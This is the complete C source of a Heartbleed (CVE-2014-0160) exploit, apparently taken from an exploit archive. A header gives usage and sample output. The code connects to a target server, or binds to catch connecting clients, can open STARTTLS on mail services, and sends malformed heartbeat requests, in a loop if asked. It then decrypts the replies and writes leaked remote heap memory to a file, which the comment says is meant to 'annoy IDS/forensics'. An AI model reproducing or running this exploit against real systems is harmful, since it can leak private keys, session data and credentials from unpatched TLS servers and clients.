OpenSSL TLS Heartbeat Extension – ‘Heartbleed’ Information Leak (1)
/* * CVE-2014-0160 heartbleed OpenSSL information leak exploit * ========================================================= * This exploit uses OpenSSL to create an encrypted connection * and trigger the heartbleed leak. The leaked information is * returned within encrypted SSL packets and is then decrypted * and wrote to a file to annoy IDS/forensics. The exploit can * set heartbeat payload length arbitrarily or use two preset * values for NULL and MAX length. The vulnerability occurs due * to bounds checking not being performed on a heap value which * is user supplied and returned to the user as part of DTLS/TLS * heartbeat SSL extension. All versions of OpenSSL 1.0.1 to * 1.0.1f are known affected. You must run this against a target * which is linked to a vulnerable OpenSSL library using DTLS/TLS. * This exploit leaks upto 65535 bytes of remote heap each request * and can be run in a loop until the connected peer ends connection. * The data leaked contains 16 bytes of random padding at the end. * The exploit can be used against a connecting client or server, * it can also send pre_cmd's to plain-text services to establish * an SSL session such as with STARTTLS on SMTP/IMAP/POP3. Clients * will often forcefully close the connection during large leak * requests so try to lower your payload request size. * * Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g * * E.g. * $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed * $ ./heartbleed -s 192.168.11.23 -p 443 -f out -t 1 * [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit * [ ============================================================= * [ connecting to 192.168.11.23 443/tcp * [ connected to 192.168.11.23 443/tcp * [ <3 <3 <3 heart bleed <3 <3 <3 * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ heartbleed leaked length=65535 * [ final record type=24, length=16384 * [ wrote 16381 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=42 * [ decrypting SSL packet * [ final record type=24, length=18 * [ wrote 18 bytes of heap to file 'out' * [ done. * $ ls -al out * -rwx------ 1 fantastic fantastic 65554 Apr 11 13:53 out * $ hexdump -C out * - snip - snip * * Use following example command to generate certificates for clients. * * $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ * -keyout server.key -out server.crt * * Debian compile with "gcc heartbleed.c -o heartbleed -Wl,-Bstatic \ * -lssl -Wl,-Bdynamic -lssl3 -lcrypto" * * todo: add udp/dtls support. * * - Hacker Fantastic * http://www.mdsec.co.uk * */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <getopt.h> #include <signal.h> #include <netdb.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <inttypes.h> #include <openssl/bio.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <openssl/evp.h> #include <openssl/tls1.h> #include <openssl/rand.h> #include <openssl/buffer.h> #define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \ (((unsigned int)(c[1])) )),c+=2) #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \ c[1]=(unsigned char)(((s) )&0xff)),c+=2) int first = 0; int leakbytes = 0; int repeat = 1; int badpackets = 0; typedef struct { int socket; SSL *sslHandle; SSL_CTX *sslContext; } connection; typedef struct { unsigned char type; short version; unsigned int length; unsigned char hbtype; unsigned int payload_length; void* payload; } heartbeat; void ssl_init(); void usage(); int tcp_connect(char*,int); int tcp_bind(char*, int); connection* tls_connect(int); connection* tls_bind(int); int pre_cmd(int,int,int); void* heartbleed(connection* ,unsigned int); void* sneakyleaky(connection* ,char*, int); int tcp_connect(char* server,int port){ int sd,ret; struct hostent *host; struct sockaddr_in sa; host = gethostbyname(server); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd==-1){ printf("[!] cannot create socket\n"); exit(0); } sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr = *((struct in_addr *) host->h_addr); bzero(&(sa.sin_zero),8); printf("[ connecting to %s %d/tcp\n",server,port); ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr)); if(ret==0){ printf("[ connected to %s %d/tcp\n",server,port); } else{ printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port); exit(0); } return sd; } int tcp_bind(char* server, int port){ int sd, ret, val=1; struct sockaddr_in sin; struct hostent *host; host = gethostbyname(server); sd=socket(AF_INET,SOCK_STREAM,0); if(sd==-1){ printf("[!] cannot create socket\n"); exit(0); } memset(&sin,0,sizeof(sin)); sin.sin_addr=*((struct in_addr *) host->h_addr); sin.sin_family=AF_INET; sin.sin_port=htons(port); setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val)); ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin)); if(ret==-1){ printf("[!] cannot bind socket\n"); exit(0); } listen(sd,5); return(sd); } void ssl_init(){ SSL_load_error_strings(); SSL_library_init(); OpenSSL_add_all_digests(); OpenSSL_add_all_algorithms(); OpenSSL_add_all_ciphers(); } connection* tls_connect(int sd){ connection *c; c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc()\n"); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(SSLv23_client_method()); SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); if(SSL_connect(c->sslHandle)!=1) ERR_print_errors_fp(stderr); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway)\n"); } return c; } connection* tls_bind(int sd){ int bytes; connection *c; char* buf; buf = malloc(4096); if(buf==NULL){ printf("[ error in malloc()\n"); exit(0); } memset(buf,0,4096); c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc()\n"); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(SSLv23_server_method()); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); SSL_CTX_SRP_CTX_init(c->sslContext); SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM); SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM); if(!SSL_CTX_check_private_key(c->sslContext)){ printf("[!] FATAL: private key does not match the certificate public key\n"); exit(0); } c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); int rc = SSL_accept(c->sslHandle); printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle)); bytes = SSL_read(c->sslHandle, buf, 4095); printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway)\n"); } return c; } int pre_cmd(int sd,int precmd,int verbose){ /* this function can be used to send commands to a plain-text service or client before heartbleed exploit attempt. e.g. STARTTLS */ int rc, go = 0; char* buffer; char* line1; char* line2; switch(precmd){ case 0: line1 = "EHLO test\n"; line2 = "STARTTLS\n"; break; case 1: line1 = "CAPA\n"; line2 = "STLS\n"; break; case 2: line1 = "a001 CAPB\n"; line2 = "a002 STARTTLS\n"; break; default: go = 1; break; } if(go==0){ buffer = malloc(2049); if(buffer==NULL){ printf("[ error in malloc()\n"); exit(0); } memset(buffer,0,2049); rc = read(sd,buffer,2048); printf("[ banner: %s",buffer); send(sd,line1,strlen(line1),0); memset(buffer,0,2049); rc = read(sd,buffer,2048); if(verbose==1){ printf("%s\n",buffer); } send(sd,line2,strlen(line2),0); memset(buffer,0,2049); rc = read(sd,buffer,2048); if(verbose==1){ printf("%s\n",buffer); } } return sd; } void* heartbleed(connection *c,unsigned int type){ unsigned char *buf, *p; int ret; buf = OPENSSL_malloc(1 + 2); if(buf==NULL){ printf("[ error in malloc()\n"); exit(0); } p = buf; *p++ = TLS1_HB_REQUEST; switch(type){ case 0: s2n(0x0,p); break; case 1: s2n(0xffff,p); break; default: printf("[ setting heartbeat payload_length to %u\n",type); s2n(type,p); break; } printf("[ <3 <3 <3 heart bleed <3 <3 <3\n"); ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3); OPENSSL_free(buf); return c; } void* sneakyleaky(connection *c,char* filename, int verbose){ char *p; int ssl_major,ssl_minor,al; int enc_err,n,i; SSL3_RECORD *rr; SSL_SESSION *sess; SSL* s; unsigned char md[EVP_MAX_MD_SIZE]; short version; unsigned mac_size, orig_len; size_t extra; rr= &(c->sslHandle->s3->rrec); sess=c->sslHandle->session; s = c->sslHandle; if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER) extra=SSL3_RT_MAX_EXTRA; else extra=0; if ((s->rstate != SSL_ST_READ_BODY) || (s->packet_length < SSL3_RT_HEADER_LENGTH)) { n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0); if (n <= 0) goto apple; s->rstate=SSL_ST_READ_BODY; p=s->packet; rr->type= *(p++); ssl_major= *(p++); ssl_minor= *(p++); version=(ssl_major<<8)|ssl_minor; n2s(p,rr->length); if(rr->type==24){ printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length); if(rr->length > 16834){ printf("[ error: got a malformed TLS length.\n"); exit(0); } } else{ printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length); s->packet_length=0; badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved\n"); exit(0); } goto apple; } } if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){ i=rr->length; n=ssl3_read_n(s,i,i,1); if (n <= 0) goto apple; } printf("[ decrypting SSL packet\n"); s->rstate=SSL_ST_READ_HEADER; rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]); rr->data=rr->input; tls1_enc(s,0); if((sess != NULL) && (s->enc_read_ctx != NULL) && (EVP_MD_CTX_md(s->read_hash) != NULL)) { unsigned char *mac = NULL; unsigned char mac_tmp[EVP_MAX_MD_SIZE]; mac_size=EVP_MD_CTX_size(s->read_hash); OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE); orig_len = rr->length+((unsigned int)rr->type>>8); if(orig_len < mac_size || (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE && orig_len < mac_size+1)){ al=SSL_AD_DECODE_ERROR; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT); } if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){ mac = mac_tmp; ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len); rr->length -= mac_size; } else{ rr->length -= mac_size; mac = &rr->data[rr->length]; } i = tls1_mac(s,md,0); if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0) enc_err = -1; if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size) enc_err = -1; } if(enc_err < 0){ al=SSL_AD_BAD_RECORD_MAC; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC); goto apple; } if(s->expand != NULL){ if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG); goto apple; } if (!ssl3_do_uncompress(s)) { al=SSL_AD_DECOMPRESSION_FAILURE; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION); goto apple; } } if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG); goto apple; } rr->off=0; s->packet_length=0; if(first==0){ uint heartbleed_len = 0; char* fp = s->s3->rrec.data; (long)fp++; memcpy(&heartbleed_len,fp,2); heartbleed_len = (heartbleed_len & 0xff) << 8 | (heartbleed_len & 0xff00) >> 8; first = 2; leakbytes = heartbleed_len + 16; printf("[ heartbleed leaked length=%u\n",heartbleed_len); } if(verbose==1){ { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); } printf("\n"); } leakbytes-=rr->length; if(leakbytes > 0){ repeat = 1; } else{ repeat = 0; } printf("[ final record type=%d, length=%u\n", rr->type, rr->length); int output = s->s3->rrec.length-3; if(output > 0){ int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700); if(first==2){ first--; write(fd,s->s3->rrec.data+3,s->s3->rrec.length); /* first three bytes are resp+len */ printf("[ wrote %d bytes of heap to file '%s'\n",s->s3->rrec.length-3,filename); } else{ /* heap data & 16 bytes padding */ write(fd,s->s3->rrec.data+3,s->s3->rrec.length); printf("[ wrote %d bytes of heap to file '%s'\n",s->s3->rrec.length,filename); } close(fd); } else{ printf("[ nothing from the heap to write\n"); } return; apple: printf("[ problem handling SSL record packet - wrong type?\n"); badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved\n"); exit(0); } return; } void usage(){ printf("[\n"); printf("[ --server|-s <ip/dns> - the server to target\n"); printf("[ --port|-p <port> - the port to target\n"); printf("[ --file|-f <filename> - file to write data to\n"); printf("[ --bind|-b <ip> - bind to ip for exploiting clients\n"); printf("[ --precmd|-c <n> - send precmd buffer (STARTTLS)\n"); printf("[ 0 = SMTP\n"); printf("[ 1 = POP3\n"); printf("[ 2 = IMAP\n"); printf("[ --loop|-l - loop the exploit attempts\n"); printf("[ --type|-t <n> - select exploit to try\n"); printf("[ 0 = null length\n"); printf("[ 1 = max leak\n"); printf("[ n = heartbeat payload_length\n"); printf("[\n"); printf("[ --verbose|-v - output leak to screen\n"); printf("[ --help|-h - this output\n"); printf("[\n"); exit(0); } int main(int argc, char* argv[]){ int ret, port, userc, index; int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 9; int loop = 0; struct hostent *h; connection* c; char *host, *file; int ihost = 0, iport = 0, ifile = 0, itype = 0, iprecmd = 0; printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n"); printf("[ =============================================================\n"); static struct option options[] = { {"server", 1, 0, 's'}, {"port", 1, 0, 'p'}, {"file", 1, 0, 'f'}, {"type", 1, 0, 't'}, {"bind", 1, 0, 'b'}, {"verbose", 0, 0, 'v'}, {"precmd", 1, 0, 'c'}, {"loop", 0, 0, 'l'}, {"help", 0, 0,'h'} }; while(userc != -1) { userc = getopt_long(argc,argv,"s:p:f:t:b:c:lvh",options,&index); switch(userc) { case -1: break; case 's': if(ihost==0){ ihost = 1; h = gethostbyname(optarg); if(h==NULL){ printf("[!] FATAL: unknown host '%s'\n",optarg); exit(1); } host = malloc(strlen(optarg) + 1); if(host==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(host,"%s",optarg); } break; case 'p': if(iport==0){ port = atoi(optarg); iport = 1; } break; case 'f': if(ifile==0){ file = malloc(strlen(optarg) + 1); if(file==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(file,"%s",optarg); ifile = 1; } break; case 't': if(itype==0){ type = atoi(optarg); itype = 1; } break; case 'h': usage(); break; case 'b': if(ihost==0){ ihost = 1; host = malloc(strlen(optarg)+1); if(host==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(host,"%s",optarg); bind = 1; } break; case 'c': if(iprecmd == 0){ iprecmd = 1; precmd = atoi(optarg); } break; case 'v': verbose = 1; break; case 'l': loop = 1; break; default: break; } } if(ihost==0||iport==0||ifile==0||itype==0||type < 0){ printf("[ try --help\n"); exit(0); } ssl_init(); if(bind==0){ ret = tcp_connect(host, port); pre_cmd(ret, precmd, verbose); c = tls_connect(ret); heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop\n"); first=0; repeat=1; heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } } printf("[ done.\n"); exit(0); } else{ int sd, pid, i; ret = tcp_bind(host, port); while(1){ sd=accept(ret,0,0); if(sd==-1){ printf("[!] FATAL: problem with accept()\n"); exit(0); } if(pid=fork()){ close(sd); } else{ c = tls_bind(sd); pre_cmd(ret, precmd, verbose); heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop\n"); first=0; repeat=0; heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } } printf("[ done.\n"); exit(0); } } } } |